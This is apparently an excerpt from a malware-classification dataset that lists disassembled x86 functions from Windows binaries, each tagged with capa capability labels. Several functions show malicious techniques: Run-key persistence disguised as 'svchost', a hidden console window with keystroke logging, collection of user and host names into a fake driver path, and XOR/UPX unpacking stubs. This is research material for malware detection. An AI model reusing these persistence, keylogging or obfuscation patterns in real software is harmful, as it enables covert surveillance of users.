joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41919d
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x4270b0
push 1
xor ebx, ebx
push ebx
push 0x427160
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x41926e
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x427150
push eax
call dword [ecx]
test eax, eax
jl 0x419265
cmp byte [ebp + 8], bl
je 0x4191f0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x41920d
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x41921f
push 0x426544
jmp 0x419222
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x419237
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x419248
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x41925c
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x419288
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x41da3b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b2a0]
jne 0x41da45
repz ret
jmp fcn.0042264b
Function at 0x423ef5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041dabc
and dword [ebp - 4], 0
cmp dword [0x44b380], 0
mov ebx, eax
jne 0x423fa6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x424057
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x424057
push eax
call fcn.0041da4a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44b380], eax
call esi
push eax
call fcn.0041da4a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44b384], eax
call esi
push eax
call fcn.0041da4a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44b388], eax
call esi
push eax
call fcn.0041da4a
pop ecx
mov dword [0x44b390], eax
test eax, eax
je 0x423fa6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041da4a
pop ecx
mov dword [0x44b38c], eax
mov eax, dword [0x44b38c]
cmp eax, ebx
je 0x423ffe
cmp dword [0x44b390], ebx
je 0x423ffe
push eax
call fcn.0041dac5
push dword [0x44b390]
mov esi, eax
call fcn.0041dac5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x423ffe
test edi, edi
je 0x423ffe
call esi
test eax, eax
je 0x423ff5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x423ff5
test byte [ebp - 0xc], 1
jne 0x423ffe
or dword [ebp + 0x10], 0x200000
jmp 0x424037
mov eax, dword [0x44b384]
cmp eax, ebx
je 0x424037
push eax
call fcn.0041dac5
pop ecx
test eax, eax
je 0x424037
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x424037
mov eax, dword [0x44b388]
cmp eax, ebx
je 0x424037
push eax
call fcn.0041dac5
pop ecx
test eax, eax
je 0x424037
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44b380]
call fcn.0041dac5
pop ecx
test eax, eax
je 0x424057
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424059
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401660
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x3f0]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov esi, 0x3e8
push 0x80000002
mov dword [ebp - 0x3f4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4016b2
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401cba
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x3f0]
lea ecx, [ebp - 0x3f4]
push ecx
lea edx, [ebp - 0x3ec]
push edx
push 0
push 0
push str.svchost
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4016e2
cmp dword [ebp - 0x3f4], esi
jbe 0x4016eb
mov esi, 2
test eax, eax
jne 0x4016ed
xor esi, esi
mov ecx, dword [ebp - 0x3f0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00401cba
mov esp, ebp
pop ebp
ret

Function at 0x401710
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40175a
mov edx, dword [ebp + 8]
mov eax, edx
push esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401735
mov ecx, dword [ebp - 4]
sub eax, esi
push eax
push edx
push 1
push 0
push str.svchost
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov eax, 0xff
push 0x40d3b0
push str.C:TempIntelTempGraphicsmrxsmb32n.sys
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x208], eax
call fcn.00401ca3
add esp, 8
mov esi, eax
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x4017cf
push esi
push 0x40d3ac
call fcn.00401ae1
add esp, 8
push esi
push str.UIYWUI6E78926E23HEUIY789623S4YH89763U423IOS478902374S83Y423S4_37023USU3_403YU48902374890SY2I3Y0S4_234O2HUOGHTR79D4R_23D_23DUIO3890Y
call fcn.00401ae1
push esi
push 0x40d320
call fcn.00401ae1
push esi
push str.KtModule_ASH3U9ST67836S89_S2HISY2389476U4890S_34789SHJXDYR3Y68TR8372_323802HY0D3H232_HU2Y79TY804Y2893Y12_U8046
call fcn.00401ae1
push esi
push 0x40d320
call fcn.00401ae1
push esi
push str.US2YT4I973895X2_4R240RY2340R23_R23RHI23HY1DY013YE_123EH2397R230YUERIO03UE_123_4UR123HFFGICBC4_B_8
call fcn.00401ae1
push esi
push 0x40d320
call fcn.00401ae1
push esi
push str.ZYUIWYGBVSWHX345_UU65_5JIUCJ907890R2383_U23IJIO0UF904RUIHJOHJU23HUQPU34_A4UI3JUIOSHUGR9DG486524Y5_4I0DOHYUISTYUTRRDS430D4_57489056793GUITS
call fcn.00401ae1
push esi
push 0x40d320
call fcn.00401ae1
add esp, 0x40
lea edx, [ebp - 0x104]
push esi
push edx
call fcn.00401ae1
push esi
push 0x40d320
call fcn.00401ae1
push esi
call fcn.00401a6d
push 0x40d3b0
push str.C:TempIntelTempGraphicsmrxsmb32n.sys
call fcn.00401ca3
add esp, 0x1c
mov esi, eax
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x401884
lea edx, [ebp - 0x204]
push esi
push edx
call fcn.00401ae1
add esp, 8
push esi
push 0x40d320
call fcn.00401ae1
push esi
call fcn.00401a6d
push 0x40d3b0
push str.C:TempIntelTempGraphicsmrxsmb32n.sys
call fcn.00401ca3
push 0
mov esi, eax
call fcn.004019af
push esi
push str._nles_sINGSI:
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], edx
call fcn.00401ae1
add esp, 0x20
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00401942
add esp, 4
push eax
call fcn.00401ae1
push esi
push 0x40d1a0
call fcn.00401ae1
push esi
call fcn.00401a6d
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop esi
call fcn.00401cba
mov esp, ebp
pop ebp
ret

Function at 0x401900
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.004015e0
call fcn.00401770
call fcn.00401660
cmp eax, 2
jne 0x40193d
push str.c:_windir__svchost.exe
call fcn.00401710
add esp, 4
jmp fcn.00401000

Function at 0x401cba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401cc4
repz ret
jmp fcn.00403892
Function at 0x403fc3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x403fea
call fcn.0040268b
mov dword [eax], esi
call fcn.00402678
push 0x16
pop esi
mov dword [eax], esi
call fcn.00402626
mov eax, esi
jmp 0x40403f
test dword [ebp + 0xc], 0xfffffff9
jne 0x403fd0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x404017
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040269e
pop ecx
call fcn.00402678
mov eax, dword [eax]
jmp 0x40403f
test al, 0x10
jne 0x40403d
test al, 1
je 0x40403d
test byte [ebp + 0xc], 2
je 0x40403d
call fcn.0040268b
mov dword [eax], 5
call fcn.00402678
mov dword [eax], 0xd
jmp 0x40400e
xor eax, eax
pop esi
pop ebp
ret

Function at 0x409028
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404c47
and dword [ebp - 0x14], 0
cmp dword [0x411d08], 0
mov dword [ebp - 0x18], eax
jne 0x4090db
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409183
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409183
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411d08], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411d0c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411d10], eax
call edi
push eax
call esi
mov dword [0x411d18], eax
test eax, eax
je 0x4090db
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411d14], eax
mov eax, dword [0x411d14]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409134
cmp dword [0x411d18], ecx
je 0x409134
push eax
call esi
push dword [0x411d18]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409134
test ebx, ebx
je 0x409134
call edi
test eax, eax
je 0x40912b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40912b
test byte [ebp - 8], 1
jne 0x409134
or dword [ebp + 0x10], 0x200000
jmp 0x409167
mov eax, dword [0x411d0c]
cmp eax, dword [ebp - 0x18]
je 0x409167
push eax
call esi
test eax, eax
je 0x409167
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409167
mov eax, dword [0x411d10]
cmp eax, dword [ebp - 0x18]
je 0x409167
push eax
call esi
test eax, eax
je 0x409167
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411d08]
call esi
test eax, eax
je 0x409183
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409185
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401cba
leave
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x77b865f1
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7c0c410b
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x44b6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov cl, byte [0x65f042]
mov al, byte [0x65f041]
or cl, 0x10
push ebx
shr cl, 3
and ecx, 0xff
mov bl, byte [0x65f04b]
mov dword [esp + 4], ecx
xor bl, al
fild dword [esp + 4]
mov byte [0x65f04b], bl
mov ebx, dword [esp + 0x10]
test ebx, ebx
fdivr qword [0x6629a0]
push esi
fadd qword [0x65f058]
fstp qword [0x662a10]
je 0x44b793
call fcn.0044b610
push 0x65f0ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x65f030]
mov ecx, dword [0x65f034]
mov esi, eax
mov dword [esp + 0xc], 0
lea eax, [edx + edx]
or eax, ecx
mov dword [esp + 8], eax
fild qword [esp + 8]
test esi, esi
fadd qword [0x65f058]
fstp qword [0x65f058]
je 0x44b793
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x65f088
push esi
call edi
push 0x65f064
push esi
call edi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x44b793
lea ecx, [esp + 0x14]
inc eax
add ecx, 4
cmp eax, 0x36
jae 0x44b79d
cmp dword [ecx], 0
jne 0x44b785
pop esi
xor al, al
pop ebx
add esp, 8
ret 4
mov dword [ebx], esi
pop esi
mov al, 1
pop ebx
add esp, 8
ret 4

Function at 0x4d70ed
Capabilities:
Encode data using xor

Disassembly:
pop esi
pushal
shr dword [esi - 0x6e2dad8], cl
salc
call 0x61c4b924
popal
add dword [ecx], edi
sub byte [esi + 0x5e], bl
pop es
push esi
inc edi
movsb byte es:[edi], byte [esi]
add al, 0x84
and eax, 0x526862f4
xor al, 0xf8
cmp ecx, dword [ebx - 0x70]
out 0x6a, eax
movsb byte es:[edi], byte [esi]
inc esp
lea edx, gs:[esi]
xchg edx, eax
mov edi, 0x60c41481
pop esp
popal
rcr byte [edx + 0x34], 0x77
xor byte [ecx - 0x2e39c505], bl
stc
push 0x64cdd723
jp 0x8e67f8fa
xchg dword [esi + 0x6b], ebx
xchg ecx, eax
add eax, 0xf3060cc0
push esp
cmc
mov eax, 0x176e9dff
jl 0x4d70fa
nop
cli
test byte [esi + 0xc3f510b], ch
les edi, [edi + esi*4]
jecxz 0x4d715c
sub bh, byte [0x289e35ce]
retf
jle 0x4d71b0
invalid
push ebp
xchg edx, eax
outsd dx, dword [esi]
xor bl, byte [ecx - 0x57]
dec esi
iretd
Function at 0x40148e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x472eb0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x401523
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x4014e0
cmp dword [ebp + 0x10], ebx
jne 0x401517
push ebx
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 4]
call fcn.0040148e
test eax, eax
jne 0x4014f2
push edi
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x4014c7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.0040645a
cmp eax, ebx
je 0x40152a
push ebx
push dword [0x472eb0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x401523
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x472eb0], ebx
jne 0x401520
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x401520
jmp 0x401523

Function at 0x4033f9
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x42f1e4]
sub esi, dword [0x4331f0]
push edi
add esi, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1f4
xor ebx, ebx
cmp esi, ebx
mov dword [0x472e20], eax
jle 0x403557
push dword [0x4331ec]
call fcn.004033e2
push ebx
push ebx
push dword [0x4331f0]
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x42f1e0], esi
mov dword [0x41f154], ebx
mov ebp, 0x4271e0
mov eax, dword [0x4331e8]
sub eax, dword [0x4331ec]
mov edi, 0x4000
cmp eax, edi
jg 0x40346e
mov edi, eax
push edi
mov esi, 0x42f1e8
push esi
call fcn.004033b0
test eax, eax
je 0x403569
add dword [0x4331ec], edi
mov dword [0x427170], esi
mov dword [0x427174], edi
cmp dword [0x472ddc], ebx
je 0x4034c5
cmp dword [0x472ea0], ebx
jne 0x4034c5
mov eax, dword [0x42f1e0]
sub eax, dword [0x42f1e4]
push ebx
sub eax, dword [esp + 0x1c]
add eax, dword [0x4331f0]
mov dword [0x41f154], eax
call fcn.0040330e
pop ecx
mov ecx, 0x427158
mov dword [0x427178], ebp
mov dword [0x42717c], 0x8000
call fcn.004073a4
test eax, eax
jl 0x40356e
mov esi, dword [0x427178]
sub esi, ebp
je 0x403523
push ebx
lea eax, [esp + 0x14]
push eax
push esi
push ebp
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403573
cmp esi, dword [esp + 0x10]
jne 0x403573
add dword [0x4331f0], esi
cmp dword [0x427174], ebx
jne 0x403494
jmp 0x40352f
cmp dword [0x427174], ebx
jne 0x40356e
cmp edi, ebx
je 0x40356e
mov eax, dword [0x42f1e4]
mov ecx, eax
sub ecx, dword [0x4331f0]
add ecx, dword [esp + 0x18]
test ecx, ecx
jg 0x403458
push ebx
push ebx
push eax
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 1
call fcn.0040330e
pop ecx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
or eax, 0xffffffff
jmp 0x403561
push 0xfffffffffffffffd
pop eax
jmp 0x403561
push 0xfffffffffffffffe
jmp 0x403570